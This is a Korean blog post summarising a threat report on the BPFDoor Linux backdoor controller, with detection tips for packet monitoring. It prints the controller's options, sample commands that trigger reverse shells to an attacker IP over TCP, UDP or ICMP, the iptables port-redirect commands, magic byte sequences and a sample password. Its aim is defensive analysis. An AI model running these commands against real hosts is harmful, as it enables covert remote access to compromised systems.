BPFDoor Hidden Controller 관련 탐지 방법 및 Packet 모니터시 참고사항

트렌드마이크로의 2025년 4월 14일자 보고서 “BPFDoor의 숨겨진 컨트롤러가 아시아 및 중동 지역을 대상으로 사용됨”에 따르면, 리눅스 시스템을 노리는 고급형 백도어인 BPFDoor가 새로운 컨트롤러와 함께 발견되었습니다.


🔍 주요 내용 요약

1. 새로운 컨트롤러 발견

  • BPFDoor 는 Berkeley Packet Filter(BPF)를 활용하여 네트워크 트래픽을 감시하고, 특정 “매직 시퀀스”를 포함한 패킷을 통해 활성화됩니다.
  • 트렌드마이크로는 Red Menshen(또는 Earth Bluecrow)이라는 APT 그룹이 사용하는 새로운 컨트롤러를 발견했습니다.
  • 이 컨트롤러는 역방향 셸을 열어 감염된 시스템에 대한 깊은 침투를 가능하게 합니다.

2. 공격 대상 및 지역

  • 최근 공격은 대한민국, 홍콩, 미얀마, 말레이시아, 이집트통신, 금융, 소매 부문을 중심으로 발생했습니다.

3. 컨트롤러 기능 및 옵션

  • 컨트롤러는 다음과 같은 명령어 옵션을 지원합니다:
    • -b: 지정된 TCP 포트에서 셸 리스닝
    • -c: 암호화 활성화
    • -d: 감염된 호스트의 대상 포트 설정
    • -f: TCP 또는 UDP 프로토콜에 대한 매직 시퀀스 설정
    • -h: 제어할 감염된 호스트 지정
    • -i: ICMP 모드 활성화
    • -l: 역방향 셸을 연결할 원격 호스트 설정
    • -m: 로컬 IP를 원격 호스트로 설정
    • -n: 비밀번호 없이 백도어 활성 여부 확인
    • -o: 매직 시퀀스를 0x7155로 설정
    • -p: 비밀번호 설정
    • -s: 역방향 셸을 연결할 원격 포트 설정
    • -u: UDP 모드 활성화
    • -w: TCP 모드 활성화
    • -x: ICMP에 대한 매직 시퀀스 설정

4. 탐지 및 방어

  • BPFDoor는 BPF를 활용하여 일반적인 방화벽이나 IDS를 우회합니다.
  • 트렌드마이크로는 Trend Vision One™ Network Security를 통해 TippingPoint 침입 방지 및 Deep Discovery Inspector(DDI) 규칙을 제공하여 이 위협에 대응합니다.

🛡️ 보안 권고 사항

  • 의심스러운 네트워크 트래픽 및 프로세스 활동을 모니터링하십시오.
  • 시스템에서 BPF 소켓 및 raw 소켓 사용 여부를 점검하십시오.

역방향 연결 모드

TCP 모드

이를 설명하기 위해 다음 시나리오를 가정해 보겠습니다. 공격자는 IP 주소가 192.168.32.133인 컴퓨터에서 작업을 수행하고 있고, IP ​​주소가 192.168.32.156인 감염된 컴퓨터가 있습니다. 다음 명령은 대상 컴퓨터에서 실행 중인 BPFDoor에게 공격자 컴퓨터의 8000/tcp 포트에서 암호화된 역방향 셸 세션을 열도록 요청합니다.

./컨트롤러 -cd 22 –h 192.168.32.156 -ms 8000

네트워크 수준에서 컨트롤러가 전송한 첫 번째 TCP 패킷의 TCP 페이로드 시작 부분에 TCP 0x5293의 기본 매직 시퀀스가 ​​포함되어 있음을 확인할 수 있습니다. 또한, 아래와 같이 입력한 “justrobot” 비밀번호도 포함되어 있습니다.

그림 3에서 강조된 선은 다음을 보여줍니다.

  • 52 93 00 00 – TCP와 함께 사용되는 매직 바이트: 0x5293
  • c0 a8 20 85 – –m 옵션을 사용했기 때문에 원격 IP 주소가 192.168.32.133으로 설정되었습니다.
  • 1f 40 – 원격 포트를 8000으로 설정
  • “justrobot” – 암호화되지 않은 비밀번호

방어자는 24바이트 TCP 페이로드의 시작 부분에 32비트 크기의 0x5293이 포함된 TCP 패킷과 그 뒤에 32비트 IPv4 주소, 16비트 포트 번호, null로 끝나는 ASCII 문자열을 감시해야 합니다.

UDP 모드

다음 명령은 avahi-daemon 프로세스가 열어둔 포트 5353/udp를 사용합니다.

./controller -cud 5353 -h 192.168.32.156 -ms 8000

유일한 차이점은 컨트롤러가 기본 TCP 프로토콜 대신 UDP를 사용하도록 하는 –u 옵션입니다. 이 경우, 공격자는 UDP 페이로드 시작 부분에 매직 시퀀스 0x7255가 포함된 UDP 패킷을 찾아야 합니다. 아래 스크린샷은 Wireshark에서 캡처한 트래픽을 보여줍니다.

방어자는 32비트 크기인 0x7255로 시작하는 UDP 페이로드를 찾아야 합니다.

ICMP 모드

대상 서버에 TCP 또는 UDP 포트가 열려 있지 않은 경우(인터넷에 연결된 서버에서는 거의 발생하지 않음) 공격자는 ICMP를 통해 대상에 연결을 시도할 수 있습니다. 가능한 명령은 다음과 같습니다.

sudo ./controller -cid 1 -h 192.168.32.156 -ms 8000

포트 번호(-d 옵션)가 필요하지만 이 경우에는 중요하지 않습니다.

그림 5는 0x7255 매직 시퀀스와 비밀번호를 포함하는 ICMP 에코 요청(ping)을 보여줍니다. 역방향 셸은 TCP를 사용하여 열려 있습니다.

직접 모드

위협 행위자의 작업을 용이하게 하기 위해, 컨트롤러는 감염된 시스템에 직접 연결하여 역방향 연결 없이 셸을 생성할 수 있습니다. 이를 위한 가능한 명령줄은 다음과 같습니다.

./컨트롤러 -cd 22 -h 192.168.32.156

직접 모드를 활성화하려면 올바른 비밀번호를 입력해야 합니다. 비밀번호가 확인되면 BPFDoor 맬웨어는 일련의 iptables 명령을 사용하여 컨트롤러의 IP 주소에서 대상 포트(예시에서는 22/tcp)로, 감염된 호스트의 42391과 43390 사이의 첫 번째 사용 가능한 포트로 새 연결을 리디렉션합니다. BPFDoor는 이 포트에서 셸을 제공합니다. 명령은 다음과 같습니다.

/sbin/iptables -I INPUT -p tcp -s <컨트롤러 IP 주소> -j ACCEPT
/sbin/iptables -t nat -A PREROUTING -p tcp -s <컨트롤러 IP 주소> –dport <대상 포트> -j REDIRECT –to-ports <42391과 43390 사이의 포트>

컨트롤러는 감염된 컴퓨터에 변경 사항이 적용될 때까지 몇 초간 기다린 다음, 동일한 IP 주소와 포트(아마도 이 시점에서 리디렉션됨)에 연결을 시도합니다.

직접 연결 모드는 TCP에서만 작동합니다. 컨트롤러는 특정 응답을 예상하므로, 공격자는 “3458” 문자열이 포함된 4바이트 TCP 페이로드가 포함된 아웃바운드 TCP 패킷을 찾을 수 있습니다.

참고 https://www.trendmicro.com/ko_kr/research/25/d/bpfdoor-hidden-controller.html

Leave a Reply

Your email address will not be published. Required fields are marked *

error: Content is protected !!